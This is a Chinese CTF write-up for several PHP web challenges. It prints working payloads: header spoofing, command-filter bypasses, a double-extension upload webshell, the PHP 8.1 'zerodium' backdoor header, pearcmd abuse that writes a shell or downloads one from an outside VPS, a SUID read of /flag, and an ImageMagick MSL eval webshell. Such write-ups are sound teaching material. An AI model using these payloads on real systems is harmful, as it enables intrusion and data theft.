拿了好多一血,最后时间快到了才查出来文档,遗憾,没能拿第一!

拿了好多一血,最后时间快到了才查出来文档,遗憾,没能拿第一!

直接访问/set_flag.php

看响应 cookie

ez_php

题目提示 robots.txt

直接访问

发现www.zip

拖入010分析

00 09 发现伪加密,直接改为00

保存

直接解压

然后直接访问ip.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
error_reporting(0);
show_source(__FILE__);
include "flag.php";

$xff isset($_SERVER['HTTP_X_FORWARDED_FOR']) ? trim($_SERVER['HTTP_X_FORWARDED_FOR']) : '';

// 判断是否等于指定 IP
if ($xff === '11.22.33.44') {
    echo $flag;
else {
    echo "Access denied!";
}
?>

直接伪造 X_FORWARDED_FOR

ez_rce

f12查看源码

直接访问

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php
//flag in /flag

highlight_file(__FILE__);
error_reporting(0);
$a $_GET['test1']?$_GET['test1']:'';
$b $_GET['test2']?$_GET['test2']:'';
if($a!==$b&&md5($a)===md5($b)){
    if(isset($_GET['cmd'])){
        $cmd $_GET['cmd'];
        if(!preg_match("/\;|cat|paste|cut|dd|flag|more|less|head|sort|tail|system|exec|shell_exec|tac|od|vi|vim|nl|rev|grep|awk|sed|perl|python|php|ruby|base64|xxd|hexdump|strings|curl|wget|nc|netcat|telnet|ftp|ssh|scp|find|locate|whereis|which|ld|gcc|make|sh|bash|zsh|read|cmp|tee|\(|\)|\{|\}|\`|\*|\?|<|>|\"|\'|{0-9}| |\\$|\./i"$cmd)){
            system($cmd);
        }
        else{
            die("Bye~~~~~~");
        }
    }
}
else{
    echo "See You~~~~~";
}
?>

过滤了很多读文件的函数

有漏网之鱼

然后MD5弱碰撞

1
2
?test1[]=1&test2[]=2&cmd=uniq%09/%5BF%5Dlag
?test1[]=1&test2[]=2&cmd=pr%09/%5BF%5Dlag
ez_sql

非预期

发现后门 /shell.php

访问

直接浏览器搜索flag

预期解

1
?cmd=system('ls');

在读一下connect.php

1
?cmd=system('cat connect.php');

发现数据库uname,password,连接

尝试用navicat进行远程连接失败

考虑本地连接查询

1
shell.php?cmd=system("mysql -uroot -p123456 -e'use ctf;show tables;'");

1
shell.php?cmd=system("mysql -uroot -p123456 -e'use ctf;select * from flag;'");

ez_upload
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
<?php
error_reporting(0);
show_source(__FILE__);
// 简单表单:<form method="post" enctype="multipart/form-data"><input type="file" name="file"><button>upload</button></form>

if (!isset($_FILES['file']) || $_FILES['file']['error'] !== UPLOAD_ERR_OK) {
    die("Please select a file to upload.");
}
$uploadDir __DIR__ . '/uploads';           // 可被 Web 直访的目录
if (!is_dir($uploadDir)) mkdir($uploadDir0777true);

$origName  $_FILES['file']['name'];      
$tmpPath   $_FILES['file']['tmp_name'];
$mimeClaim $_FILES['file']['type'];        

$allowedExtPattern '/\.(jpg|jpeg|png|gif)/i'
if (!preg_match($allowedExtPattern$origName)) {
    die("错误的拓展名,只允许上传: JPG, JPEG, PNG, GIF");
}
$parts explode('.'$origName);
$ext   isset($parts[1]) ? strtolower($parts[1]) : '';
$allowedList = ['jpg','jpeg','png','gif'];
if (!in_array($ext$allowedList)) {
    die('fuck off!!!');
}

if (stripos($mimeClaim'image/') !== 0) {
    die('fuck off!!!');
}
$destPath $uploadDir '/' . $origName;
// 移动上传文件
if (!move_uploaded_file($tmpPath$destPath)) {
    die("上传失败");
else {
  echo "上传成功:uploads/" . htmlspecialchars($origName, ENT_QUOTES);
}

这个过滤写得很有问题,只要包含.jpg类似的都能很轻松的绕过过滤

比如我们上传shell.jpg.php 也可以绕过

正常抓取一个上传的数据包

然后去请求网站改包

在访问

/uploads/shell.jpg.php?1=system('cat /flag');

php_backdoor

访问后发现提示

php 官方git被黑,入侵者植入后门以便后续攻击

谷歌搜索相关漏洞

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
vulhub/php/8.1-backdoor/README.zh-cn.md at master · vulhub/vulhub

GET / HTTP/1.1

Host: yzctf.nxoupeng.com:33671

Accept-Language: zh-CN,zh;q=0.9

Upgrade-Insecure-Requests: 1

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36

User-Agentt: zerodiumvar_dump(system('cat /flag'));

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7

Accept-Encoding: gzip, deflate, br

Connection: keep-alive


includer
1
2
3
4
5
6
7
8
9
10
<?php
show_source(__FILE__);
//flag.php 需要你读取哦
$flag = $_GET['flag'];
if(isset($flag) && !preg_match('/base64|rot13/i',$flag)){
    @include($flag);
}else{
    die("fuck off!!!");
}
?>

提示:一道中等难度文件包含题目,记得用编码哦,尤其需要考虑utf8 utf16等

根据提示想到用伪协议编码来读取

?flag=php://filter/read=convert.iconv.utf-8.utf-16/resource=flag.php

include_better
1
2
3
4
5
6
7
<?php
show_source(__FILE__);
if(!preg_match("/input|data|compress|rot|base|filter/i",$_REQUEST['oupeng']) && isset($_REQUEST['oupeng'])){
    include($_REQUEST['oupeng'].".php");
}else{
    die("fuck off!");
}

题目提示用裸文件包含技巧

想到用pearcmd.php的巧妙利用

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
GET /index.php?+config-create+/&oupeng=/usr/local/lib/php/pearcmd&/<?=system('cat${IFS}/flag')?>+/tmp/hello.php HTTP/1.1

Host: yzctf.nxoupeng.com:33674

Accept-Language: zh-CN,zh;q=0.9

Upgrade-Insecure-Requests: 1

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7

Accept-Encoding: gzip, deflate, br

Connection: keep-alive

写入成功

在进行包含即可

?oupeng=/tmp/hello

include_best

题目提示:难度继续提升,但需要想到the end of lfi 问题便可迎刃而解哦,当然裸文件包含可以吗,最后需要注意suid提权问题哦 不然看不到flag

这道题有多种方法可以解答,比赛的时候我用的也是裸文件包含

 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php
if(isset($_REQUEST["oupeng"])) { 
    $pass = $_REQUEST["oupeng"];
} else {
    show_source(__FILE__);
}

function fliter($params): bool{
     $black = ["call_user_func","assert","<","?","$","[","]",";","eval",">","@","_","create","install","pear","rot13"];
         foreach($black as $noword){
           if(stristr($params, $noword)) return False;
    }
    return True;
}
if(fliter($_SERVER["QUERY_STRING"]))
{
include $pass;
}
else
{
die("fuck off!!!");
}

虽然过滤了pear,create,但是并没有过滤download

index.php?+download+http://42.123.123.176:7777/2.php+&oupeng=/usr/local/lib/php/%70%65%61%72cmd.php

这里我们需要先去vps上,上传我们的shell,然后执行,蚁剑连接

成功下载下来,蚁剑进行连接

尝试直接打开flag文件,发现空白

考虑权限不够

终端执行

find / -perm -4000 -type f -exec ls -ld {} \; 2>/dev/null

查找有无suid提权的可能

发现这些都具有s权限

/bin/date -f /flag

执行获取flag

Imagemagick

很遗憾的一道题,最开始思路偏了,一直关注历年的cve漏洞去了

1
2
3
4
5
6
7
8
9
10
11
<?php

show_source(__FILE__);

$op $_REQUEST['oupeng'];

$sec $_REQUEST['security'];

new $op($sec);

?>

提示:一道相对的难题,请仔细查阅关于Imagemagick的漏洞,尤其注意new $op($sec)的形式哦

查到相关文章,但是时间已经来不及了,多给10分钟应该就出了

最开始我直接拿这个poc进行利用,发现上传之后直接502了

最后解决发现原因是 <> 被Imagemagick解析会使他崩溃

我们进行实体化编码

1.xml

1
2
3
4
5
<?xml version="1.0" encoding="UTF-8"?>
<image>
<read filename="caption:&lt;?php @eval($_GET['a']); ?&gt;" />
<write filename="info:/var/www/html/swarm.php" />
</image>

1.html

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<html>

<body>

<form action="http://yzctf.nxoupeng.com:33677/?oupeng=Imagick&security=vid:msl:/tmp/php*" method="POST" enctype="multipart/form-data">

<input type="file" name="file">

<input type="submit" value="upload" name="submit">

</form>

</body>

</html>

用1.html.html上传我们的1.xml即可

然后再去访问 swarm.php

/swarm.php?a=system('cat /flag');

遗憾!